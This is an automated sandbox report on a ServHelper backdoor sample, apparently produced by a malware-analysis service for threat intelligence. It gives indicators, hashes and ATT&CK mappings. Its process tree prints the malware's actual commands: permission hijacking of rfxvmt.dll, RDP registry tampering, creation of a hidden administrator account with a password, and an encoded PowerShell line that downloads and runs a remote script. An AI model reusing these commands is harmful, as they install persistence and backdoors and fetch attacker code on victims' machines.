servhelper | 65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e

Analysis

max time kernel
128s
max time network
28s
platform
windows7_x64
resource
win7-en-20210920
submitted
01-10-2021 08:51

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General

Target

c1e0df4f2321e9375baee3a0a26fba64.exe
Size

5.7MB
MD5

c1e0df4f2321e9375baee3a0a26fba64
SHA1

dcf4d90d2f3fd11f14b5413be5b7dde70ff33f7c
SHA256

65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e
SHA512

4bc74603d8a7a28a0c965cb78d7762c01312cdb6ee7d8be8f822ebb6bf3dbd273ac76c3ad5d0c70f9fa9439981c19a9bed4525f445d7faddb93e9db5a66a0ad7

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	1300	powershell.exe
6	1300	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
1004	takeown.exe
564	icacls.exe
1236	icacls.exe
548	icacls.exe
1808	icacls.exe
432	icacls.exe
1676	icacls.exe
1216	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000a000000012210-130.dat	upx
behavioral1/files/0x0009000000012213-131.dat	upx

Loads dropped DLL 2 IoCs

Processes:

pid	Process
1868
1868

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid	Process
548	icacls.exe
1808	icacls.exe
432	icacls.exe
1676	icacls.exe
1216	icacls.exe
1004	takeown.exe
564	icacls.exe
1236	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KCSYCTH1GD6ITYIBZ0G6.temp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 605f1991a1b6d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1788	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
368	powershell.exe
1812	powershell.exe
1680	powershell.exe
1484	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
1300	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid	Process
464
1868
1868
1868
1868

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	368	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeRestorePrivilege	1236	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	812	WMIC.exe
Token: SeIncreaseQuotaPrivilege	812	WMIC.exe
Token: SeAuditPrivilege	812	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	812	WMIC.exe
Token: SeIncreaseQuotaPrivilege	812	WMIC.exe
Token: SeAuditPrivilege	812	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1784	WMIC.exe
Token: SeAuditPrivilege	1784	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1784	WMIC.exe
Token: SeAuditPrivilege	1784	WMIC.exe
Token: SeDebugPrivilege	1300	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

c1e0df4f2321e9375baee3a0a26fba64.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	Process	procid_target
PID 1544 wrote to memory of 368	1544	c1e0df4f2321e9375baee3a0a26fba64.exe	28
PID 1544 wrote to memory of 368	1544	c1e0df4f2321e9375baee3a0a26fba64.exe	28
PID 1544 wrote to memory of 368	1544	c1e0df4f2321e9375baee3a0a26fba64.exe	28
PID 368 wrote to memory of 1460	368	powershell.exe	30
PID 368 wrote to memory of 1460	368	powershell.exe	30
PID 368 wrote to memory of 1460	368	powershell.exe	30
PID 1460 wrote to memory of 588	1460	csc.exe	31
PID 1460 wrote to memory of 588	1460	csc.exe	31
PID 1460 wrote to memory of 588	1460	csc.exe	31
PID 368 wrote to memory of 1812	368	powershell.exe	32
PID 368 wrote to memory of 1812	368	powershell.exe	32
PID 368 wrote to memory of 1812	368	powershell.exe	32
PID 368 wrote to memory of 1680	368	powershell.exe	34
PID 368 wrote to memory of 1680	368	powershell.exe	34
PID 368 wrote to memory of 1680	368	powershell.exe	34
PID 368 wrote to memory of 1484	368	powershell.exe	36
PID 368 wrote to memory of 1484	368	powershell.exe	36
PID 368 wrote to memory of 1484	368	powershell.exe	36
PID 368 wrote to memory of 1004	368	powershell.exe	38
PID 368 wrote to memory of 1004	368	powershell.exe	38
PID 368 wrote to memory of 1004	368	powershell.exe	38
PID 368 wrote to memory of 564	368	powershell.exe	39
PID 368 wrote to memory of 564	368	powershell.exe	39
PID 368 wrote to memory of 564	368	powershell.exe	39
PID 368 wrote to memory of 1236	368	powershell.exe	40
PID 368 wrote to memory of 1236	368	powershell.exe	40
PID 368 wrote to memory of 1236	368	powershell.exe	40
PID 368 wrote to memory of 548	368	powershell.exe	41
PID 368 wrote to memory of 548	368	powershell.exe	41
PID 368 wrote to memory of 548	368	powershell.exe	41
PID 368 wrote to memory of 1808	368	powershell.exe	42
PID 368 wrote to memory of 1808	368	powershell.exe	42
PID 368 wrote to memory of 1808	368	powershell.exe	42
PID 368 wrote to memory of 432	368	powershell.exe	43
PID 368 wrote to memory of 432	368	powershell.exe	43
PID 368 wrote to memory of 432	368	powershell.exe	43
PID 368 wrote to memory of 1676	368	powershell.exe	44
PID 368 wrote to memory of 1676	368	powershell.exe	44
PID 368 wrote to memory of 1676	368	powershell.exe	44
PID 368 wrote to memory of 1216	368	powershell.exe	45
PID 368 wrote to memory of 1216	368	powershell.exe	45
PID 368 wrote to memory of 1216	368	powershell.exe	45
PID 368 wrote to memory of 1904	368	powershell.exe	46
PID 368 wrote to memory of 1904	368	powershell.exe	46
PID 368 wrote to memory of 1904	368	powershell.exe	46
PID 368 wrote to memory of 1788	368	powershell.exe	47
PID 368 wrote to memory of 1788	368	powershell.exe	47
PID 368 wrote to memory of 1788	368	powershell.exe	47
PID 368 wrote to memory of 1160	368	powershell.exe	48
PID 368 wrote to memory of 1160	368	powershell.exe	48
PID 368 wrote to memory of 1160	368	powershell.exe	48
PID 368 wrote to memory of 628	368	powershell.exe	49
PID 368 wrote to memory of 628	368	powershell.exe	49
PID 368 wrote to memory of 628	368	powershell.exe	49
PID 628 wrote to memory of 1516	628	net.exe	50
PID 628 wrote to memory of 1516	628	net.exe	50
PID 628 wrote to memory of 1516	628	net.exe	50
PID 368 wrote to memory of 1872	368	powershell.exe	51
PID 368 wrote to memory of 1872	368	powershell.exe	51
PID 368 wrote to memory of 1872	368	powershell.exe	51
PID 1872 wrote to memory of 1928	1872	cmd.exe	52
PID 1872 wrote to memory of 1928	1872	cmd.exe	52
PID 1872 wrote to memory of 1928	1872	cmd.exe	52
PID 1928 wrote to memory of 1592	1928	cmd.exe	53

C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe
"C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\im5o0-zu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC8DA.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC8D9.tmp"
      4⤵
      PID:588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1484
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1004
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:564
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:548
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1808
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:432
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1676
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1216
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1904
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1788
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1160
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1516
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1928
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1592
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1612
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1112
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:768
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1724
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1880
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:564
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:636

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1892
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:984

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 8zkdgHa8 /add
1⤵
PID:588
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 8zkdgHa8 /add
  2⤵
  PID:564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 8zkdgHa8 /add
    3⤵
    PID:1924

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1296
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1916

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1904
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:1064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:664
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1844

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 8zkdgHa8
1⤵
PID:1516
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 8zkdgHa8
  2⤵
  PID:1132
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 8zkdgHa8
    3⤵
    PID:1768

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:984
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:812

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:288
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1784

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1504
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESC8DA.tmp

MD5
f5c28b4ff3e45eef0109cbf94cb2370f

SHA1
ad823c12805481f60a3db49da7f719e12beb2dd9

SHA256
bba113f7e027676dbc69ea79d4e3c6795ae986a41dff05478be29ef589bb8417

SHA512
faa3ec9dab19ac32d542c8c7be123ff4744f38d5e1ecdf0fa52076943b30149431a12ae0ba118ff5c49797e0a9d4806d9e0af6ff05206da611396b85cc27e4a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
09943fef6e44c022be35da249d514723

SHA1
bbb0cb31ab3cc5cdf80cea91dc15a6fdf127a0f9

SHA256
d3fb75a7ea8a822d7ce99ae06caaf1182860ddc321142494e45d7a071193e953

SHA512
1b4ee7254f56f39b605f10c2573054f4b7256ebd512a5943acb41c23558380443cd594d11e3ba7583a7f45d401d1b684f8c94febe3567ab903724f04e01dff9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\im5o0-zu.dll

MD5
430993109093db6e4866973f7394fa19

SHA1
6f0657358b21aabc61f71ee07651f6086c6764a0

SHA256
8ddc5cf8a54d104872bb62070f76c6f6d105cc6ce4575db1372e78664efad912

SHA512
39c99eb103e4d1582fb27fac9dbc2a235c59f9ee2b5395322cb209ee0ee9a2692dc0fe91d9b1ef5f087f7de2e0b17a4ed69db2beacde96723b98fdfd58d1339b

Download Submit
C:\Users\Admin\AppData\Local\Temp\im5o0-zu.pdb

MD5
3d8aa3aa415923bc815acf0ed0b4dcb1

SHA1
21e2e4649e25927a4a5187bcb956baffdb462a8f

SHA256
9febf5b3eecd103b12af63d33cb2b0711044f887fb13ef456559be979f1cc18d

SHA512
3343c30227b565b5640b8cc6c20099def6a2d48e527afb9e1cfb0e39e879bcaf5e52224249e7ccb8e74e924d367dea61be68d82fbe94858a02614ef937e544f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
14a720e11d8b1c52bbe19d70f40c3286

SHA1
0ac14420a6cc0dcdaba8f5d7fd78d29d334d5267

SHA256
9238115f7960d4c51a6f2a7550641bfccdda13c702aa90b7e919b53856a12dd5

SHA512
5eace36450669445798c164020beffa7d7463055627bb84904de4fdb6c03f6cc771e61bf5a8e93f555bc973e90e26d657917673c5f59e5feb496f7d603e0658e

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
14a720e11d8b1c52bbe19d70f40c3286

SHA1
0ac14420a6cc0dcdaba8f5d7fd78d29d334d5267

SHA256
9238115f7960d4c51a6f2a7550641bfccdda13c702aa90b7e919b53856a12dd5

SHA512
5eace36450669445798c164020beffa7d7463055627bb84904de4fdb6c03f6cc771e61bf5a8e93f555bc973e90e26d657917673c5f59e5feb496f7d603e0658e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
14a720e11d8b1c52bbe19d70f40c3286

SHA1
0ac14420a6cc0dcdaba8f5d7fd78d29d334d5267

SHA256
9238115f7960d4c51a6f2a7550641bfccdda13c702aa90b7e919b53856a12dd5

SHA512
5eace36450669445798c164020beffa7d7463055627bb84904de4fdb6c03f6cc771e61bf5a8e93f555bc973e90e26d657917673c5f59e5feb496f7d603e0658e

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCC8D9.tmp

MD5
45dd0f3d310c710a294727e3639414e3

SHA1
a0714381109f0d4d81fbee2a43712acba58ae9ec

SHA256
1dfaebcf6def67861fe918c55465cc8d9b06972448cfe8a545c2805fd19d1ff8

SHA512
fe093ea71a6d4f46eb91102e25c9f75ce95a28c11f0a5673115a91bb2e70ca94beaa99cb15a9a183265a13b81f8f293baa1a9f6e13076eb65ca3f1bcc62b2df1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\im5o0-zu.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\im5o0-zu.cmdline

MD5
04766acf859d9f628002653338cddb92

SHA1
e8d374a4490b65bc55493fa067be92c818f726a0

SHA256
c0cc0c1788fef9b719bcda9f925f9431eef00352cf8825f55a07f48b2204cdc9

SHA512
8c039c9dc9fefd278471db691e5b44b475df1c03deb363c1e9c3df3f148c51db38b3185d09602142fb125e2324fd310d7e847aaabcbfc3defdea82a79564a790

Download Submit
\Windows\Branding\mediasrv.png

MD5
b98428c062b0eab6e519248af60ba869

SHA1
429e8a43e6bdcec95e381e63ebacf32b461ffa0c

SHA256
119ca0528bef4b1ee7e16683ed3a0705648fea93379903f254ef4ef735db8193

SHA512
43098defabf2ea8d052de9a69a2a1f92ec4b4cf73c89447c8f5dac85190d7489498cc6f8b32865fb322ae1f2ab05c3f8e51905fd97b446e9e81bfbf1b089c43a

Download Submit
\Windows\Branding\mediasvc.png

MD5
d9cbd823509feefe440aa85a009a5a7c

SHA1
430faab3ded95b6b494acee0739937acac80d8ce

SHA256
b94301a42868f776f5b05abdbd76fc5f13e9cf4576eb48328adddb08e8b2872a

SHA512
40ef5d5e6a4969478ca295a39659b16d618b7fd049d29780b9d05393e266a60d0725641004d896118c1af20b7f2a58ee3bb696c6b672a536acb071b4a09228ae

Download Submit
memory/368-61-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

Filesize
11.4MB

Download
memory/368-63-0x0000000002522000-0x0000000002524000-memory.dmp

Filesize
8KB

Download
memory/368-60-0x000007FEFBA11000-0x000007FEFBA13000-memory.dmp

Filesize
8KB

Download
memory/368-59-0x0000000000000000-mapping.dmp

Download
memory/368-75-0x000000000252B000-0x000000000254A000-memory.dmp

Filesize
124KB

Download
memory/368-77-0x000000000254D000-0x000000000254E000-memory.dmp

Filesize
4KB

